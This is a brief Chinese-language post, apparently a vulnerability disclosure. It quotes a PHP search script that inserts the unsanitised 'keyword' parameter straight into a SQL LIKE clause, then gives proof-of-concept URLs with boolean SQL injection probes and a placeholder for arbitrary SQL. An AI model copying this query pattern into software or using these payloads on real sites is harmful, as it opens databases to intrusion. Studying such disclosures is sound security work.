By:匿名者

    表示官方就是 ~~

以下是引用片段:

include_once 'common.php';

$keyword = $_REQUEST['keyword']; //.....!@#$%^&*

if(empty($keyword)) sexit($lang['arg_error']);
       
$where = '';

$where .= " title LIKE '%{$keyword}%'";//%模糊查询,。

$title = '搜索';

....
       
include template('search');

    POC:

http://127.0.0.1/search.php?keyword=w%'%20and%201=1%20and%20'%'='  //and 1=1

http://127.0.0.1/search.php?keyword=w%'%20and%201=2%20and%20'%'='  //and 1=2

http://127.0.0.1/search.php?keyword={关键字}{SQL}